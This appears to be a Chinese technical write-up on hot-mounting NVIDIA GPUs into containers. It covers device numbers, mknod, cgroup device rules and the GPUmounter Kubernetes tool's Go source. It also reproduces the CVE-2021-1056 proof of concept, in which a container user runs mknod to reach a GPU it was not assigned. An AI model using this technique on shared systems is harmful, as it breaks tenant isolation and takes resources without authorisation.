gpu 热挂载项目分析

测试场景 NVIDIA-Driver 418.67
nvidia-docker 版本

1
2
3
4
5
6
7
[root~]# rpm -qa|grep nvidia
nvidia_peer_memory-1.0-8.x86_64
libnvidia-container1-1.3.1-1.x86_64
nvidia-docker2-2.5.0-1.noarch
libnvidia-container-tools-1.3.1-1.x86_64
nvidia-container-runtime-3.4.0-1.x86_64
nvidia-container-toolkit-1.4.0-2.x86_64

Linux 设备的major 和minor number

Linux 系统的/dev 目录下面的设备文件是用来描述外设的,如/dev/sda1表示第一块硬盘的第一个分区,但是这个/dev/sda1紧紧是方便用户观察,Linux内核中表示不同的设备是通过major和minor number 实现,对多major和minor number 来加载相应的驱动程序。其中
major number:表示不同的设备类型

minor number :表示同一个设备的不同分区

主设备号标识设备对应的驱动程序(或者多个相关的驱动程序共用相同的一个主设备号),次设备号表示驱动程序驱动的一个设备。

例如Linux系统中的sda磁盘和sdb 磁盘major number 都是8,但是sda的minor number 是从0 开始,sdb的minor number 是16开始
使用以下命令查看major number 和minor number

1
2
[root@node devices]# ls -l /dev/sda1
brw-rw---- 1 root disk 8, 1 1月 29 16:55 /dev/sda1

上述命令中,brw的b表示块设备(block),主设备号是8,次设备号是1。也就是8,1表示major,minor。也可以stat –format=%t:%T显示

查看GPU的信息major和minor 信息

1
2
3
4
[root@node ~]# ls -l /dev/nvidia0 
crw-rw-rw- 1 root root 195, 0 Jan 18 16:48 /dev/nvidia0
[root@node ~]# ls -l /dev/nvidia1
crw-rw-rw- 1 root root 195, 1 Jan 18 16:48 /dev/nvidia1

也可以通过代码获取major number 和minor numer ,这里找到一段代码用于获取

1
2
3
4
5
6
7
8
9
10
11
12
13
func getDiskMajorMinor(path string) (major, minor int, err error) {
stat := syscall.Stat_t{}
err = syscall.Stat(path, &stat)
if nil != err {
return 0, 0, err
}

//refer to "dev_t new_decode_dev(u32 dev)" defined in the kernel header file linux/kdev.h
major = int(((uint32(stat.Dev)) >> 8) & 0xfff)
minor = int((stat.Dev & 0xff) | ((stat.Dev >> 12) & 0xfff00))

return major, minor, nil
}

Linux mknod 命令

linux操作系统跟外部设备(如磁盘、光盘等)的通信都是通过设备文件进行的,应用程序可以打开、关闭、读写这些设备文件,从而对设备进行读写,这种操作就像读写普通的文件一样easy。linux为不同种类的设备文件提供了相同的接口,比如read(),write(),open(),close()。

在系统与设备通信之前,系统首先要建立一个设备文件,这个设备文件存放在/dev目录下。其实系统默认情况下就已经生成了很多设备文件,有时候需要自己手动新建一些设备文件,这个时候就会用到像mkdir, mknod这样的命令。

我们也可以自己mknod /dev/sda1_myref b 8 1来创建设备文件。设备文件可以看成是对linux内核设备对象的一个索引。所以主设备号和次设备号均相同的两个设备文件,对其中一个设备的修改,在另一个设备文件访问时也会看到修改的结果。

mknod 的标准形式为: mknod DEVNAME {b | c} MAJOR MINOR

1,DEVNAME是要创建的设备文件名,如果想将设备文件放在一个特定的文件夹下,就需要先用mkdir在dev目录下新建一个目录;

2, b和c 分别表示块设备和字符设备:

b表示系统从块设备中读取数据的时候,直接从内存的buffer中读取数据,而不经过磁盘;

c表示字符设备文件与设备传送数据的时候是以字符的形式传送,一次传送一个字符,比如打印机、终端都是以字符的形式传送数据;

3,MAJOR和MINOR分别表示主设备号和次设备号:为了管理设备,系统为每个设备分配一个编号,一个设备号由主设备号和次设备号组成。主设备号标示某一种类的设备,次设备号用来区分同一类型的设备。linux操作系统中为设备文件编号分配了32位无符号整数,其中前12位是主设备号,后20位为次设备号,所以在向系统申请设备文件时主设备号不好超过4095,次设备号不好超过2^20 -1。

cgroup device子系统

使用devices 子系统可以允许或者拒绝cgroup中的进程访问设备。devices子系统有三个控制文件:devices.allow,devices.deny,devices.list。devices.allow用于指定cgroup中的进程可以访问的设备,devices.deny用于指定cgroup中的进程不能访问的设备,devices.list用于报告cgroup中的进程访问的设备。devices.allow文件中包含若干条目,每个条目有四个字段:type、major、minor 和 access。type、major 和 minor 字段中使用的值对应 Linux 分配的设备。

type指定设备类型:

a - 应用所有设备,可以是字符设备,也可以是块设备

b- 指定块设备

c - 指定字符设备

major和minor指定设备的主次设备号。

access 则指定相应的权限:

r - 允许任务从指定设备中读取

w - 允许任务写入指定设备

m - 允许任务生成还不存在的设备文件

具体可以参考这里

pokerfaceSad/CVE-2021-1056 项目

这个项目主要是一个main.sh, 脚本里主要是查询GPU的major number,然后使用mknod 命令新增容器,如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
root@container1:/ttt# nvidia-smi 
+-----------------------------------------------------------------------------+
| NVIDIA-SMI 450.80.02 Driver Version: 418.80.02 CUDA Version: 11.0 |
|-------------------------------+----------------------+----------------------+
| GPU Name Persistence-M| Bus-Id Disp.A | Volatile Uncorr. ECC |
| Fan Temp Perf Pwr:Usage/Cap| Memory-Usage | GPU-Util Compute M. |
| | | MIG M. |
|===============================+======================+======================|
| 0 Tesla P100-PCIE... Off | 00000000:86:00.0 Off | 0 |
| N/A 33C P0 25W / 250W | 0MiB / 16280MiB | 0% Default |
| | | N/A |
+-------------------------------+----------------------+----------------------+

+-----------------------------------------------------------------------------+
| Processes: |
| GPU GI CI PID Type Process name GPU Memory |
| ID ID Usage |
|=============================================================================|
| No running processes found |


root@container1:/ttt# ll -l /dev/nvidia0
crw-rw-rw- 1 root root 195, 0 Jan 18 08:48 /dev/nvidia0

root@container1:/ttt# mknod -m 666 /dev/nvidia1 c 195 0


root@container1:/ttt# nvidia-smi
+-----------------------------------------------------------------------------+
| NVIDIA-SMI 450.80.02 Driver Version: 450.80.02 CUDA Version: 11.0 |
|-------------------------------+----------------------+----------------------+
| GPU Name Persistence-M| Bus-Id Disp.A | Volatile Uncorr. ECC |
| Fan Temp Perf Pwr:Usage/Cap| Memory-Usage | GPU-Util Compute M. |
| | | MIG M. |
|===============================+======================+======================|
| 0 Tesla P100-PCIE... Off | 00000000:86:00.0 Off | 0 |
| N/A 32C P0 25W / 250W | 0MiB / 16280MiB | 0% Default |
| | | N/A |
+-------------------------------+----------------------+----------------------+
| 1 Tesla P100-PCIE... Off | 00000000:AF:00.0 Off | 0 |
| N/A 28C P0 25W / 250W | 0MiB / 16280MiB | 0% Default |
| | | N/A |
+-------------------------------+----------------------+----------------------+

+-----------------------------------------------------------------------------+
| Processes: |
| GPU GI CI PID Type Process name GPU Memory |
| ID ID Usage |
|=============================================================================|
| No running processes found |
+-----------------------------------------------------------------------------+

GPUmounter 项目

该项目主要设计了一个项目,用于Kubernetes 内的集群,用于增加删除容器内的GPU卡数,主要功能是在容器外部进行操作,将容器内的GPU卡数增加或者减少

容器外部控制容器内GPU卡 数量的方法如下所示:

获取Pod对应的容器的cgroup文件信息,例如容器ID为d80172f6ba5f9d4e82ce6f95c592f89dfa5f3ad637c9c38f7739c04b1f9c5d62
则该容器对应的cgroup 的device 目录如下所示:
执行命令

1
2
3
cd  /sys/fs/cgroup/devices/system.slice/docker-d80172f6ba5f9d4e82ce6f95c592f89dfa5f3ad637c9c38f7739c04b1f9c5d62.scope

echo c "195:0 rw" >devices.allow

从该目录的cgroup.procs 文件中获取容器对应的PID,该文件可能存在多个PId,获取该文件中第一个PID,如下所示为157136

1
2
3
4
5
[root@node1 docker-d80172f6ba5f9d4e82ce6f95c592f89dfa5f3ad637c9c38f7739c04b1f9c5d62.scope]# cat cgroup.procs 
157136
157158
157166
157174

进入容器命名空间执行命令

nsenter –target 157136 –mount
/bin/mknod -m 666 /dev/nvidia1 c 195 0

再次登录容器查看GPU信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
root@28cam0e1oddj1-0:/ttt# nvidia-smi   
+-----------------------------------------------------------------------------+
| NVIDIA-SMI 450.80.02 Driver Version: 450.80.02 CUDA Version: 11.0 |
|-------------------------------+----------------------+----------------------+
| GPU Name Persistence-M| Bus-Id Disp.A | Volatile Uncorr. ECC |
| Fan Temp Perf Pwr:Usage/Cap| Memory-Usage | GPU-Util Compute M. |
| | | MIG M. |
|===============================+======================+======================|
| 0 Tesla P100-PCIE... Off | 00000000:86:00.0 Off | 0 |
| N/A 33C P0 26W / 250W | 0MiB / 16280MiB | 0% Default |
| | | N/A |
+-------------------------------+----------------------+----------------------+
| 1 Tesla P100-PCIE... Off | 00000000:AF:00.0 Off | 0 |
| N/A 29C P0 25W / 250W | 0MiB / 16280MiB | 0% Default |
| | | N/A |
+-------------------------------+----------------------+----------------------+

+-----------------------------------------------------------------------------+
| Processes: |
| GPU GI CI PID Type Process name GPU Memory |
| ID ID Usage |
|=============================================================================|
| No running processes found |
+-----------------------------------------------------------------------------+

核心代码如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62

func MountGPU(pod *corev1.Pod, gpu *device.NvidiaGPU) error {

Logger.Info("Start mount GPU: " + gpu.String() + " to Pod: " + pod.Name)

// change devices control group
containerID := pod.Status.ContainerStatuses[0].ContainerID
containerID = strings.Replace(containerID, "docker://", "", 1)
Logger.Info("Pod :" + pod.Name + " container ID: " + containerID)

//拼接 该容器对应的cgroup 文件 例如:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-pod1234_abcd_5678_efgh.slice
cgroupPath, err := cgroup.GetCgroupName("cgroupfs", pod, containerID)
if err != nil {
Logger.Error("Get cgroup path for Pod: " + pod.Name + " failed")
return err
}
Logger.Info("Successfully get cgroup path: " + cgroupPath + " for Pod: " + pod.Name)

//获得容器对应的真实的cgroup目录,如/sys/fs/cgroup/devices+cgroupPath,即/sys/fs/cgroup/devices/kubepods.slice/kubepods-besteffort.slice/kubepods-besteffort-pod17edd3dd_e2ec_43c6_8c7d_83d4322f1b2c.slice
//将GPU 的版本信息读写权限配置到device.allow
// echo c "{device.DEFAULT_NVIDA_MAJOR_NUMBER}:{gpu.MinorNumber} rw" > /sys/fs/cgroup/devices/kubepods.slice/kubepods-besteffort.slice/kubepods-besteffort-pod17edd3dd_e2ec_43c6_8c7d_83d4322f1b2c.slice/devices.allow"
if err := cgroup.AddGPUDevicePermission(cgroupPath, gpu); err != nil {
Logger.Error("Add GPU " + gpu.String() + "failed")
return err
}
Logger.Info("Successfully add GPU: " + gpu.String() + " permisssion for Pod: " + pod.Name)

// get target PID of this group
//从文件 /sys/fs/cgroup/devices/kubepods.slice/kubepods-besteffort.slice/kubepods-besteffort-pod17edd3dd_e2ec_43c6_8c7d_83d4322f1b2c.slice/cgroup.procs中获取PID
pids, err := cgroup.GetCgroupPIDs(cgroupPath)
if err != nil {
Logger.Error("Get PID of Pod: " + pod.Name + " Container: " + containerID + " failed")
Logger.Error(err)
return err
}
PID, err := strconv.Atoi(pids[0])
if err != nil {
Logger.Error("Invalid PID: ", pids[0])
Logger.Error(err)
return err
}

Logger.Info("Successfully get PID: " + strconv.Itoa(PID) + " of Pod: " + pod.Name + " Container: " + containerID)

// enter container namespace to mknod
//进入容器命名mount 命名空间,执行mknod
// nsenter --target containerPid --cgroup --ipc --mount --net --pid --user --uts
// "mknod -m " + device.DEFAULT_DEVICE_FILE_PERMISSION + " " + gpu.DeviceFilePath + " c " + strconv.Itoa(device.DEFAULT_NVIDA_MAJOR_NUMBER) + " " + strconv.Itoa(gpu.MinorNumber)


cfg := &namespace.Config{
Mount: true, // Execute into mount namespace
Target: PID, // Enter into Target namespace
}
if err := namespace.AddGPUDeviceFile(cfg, gpu); err != nil {
Logger.Error("Failed to create device file in Target PID Namespace: ", PID, " Pod: ", pod.Name, " Namespace: ", pod.Namespace)
return err
}
Logger.Info("Successfully create device file in Target PID Namespace: ", PID, " Pod: ", pod.Name, " Namespace: ", pod.Namespace)
return nil

}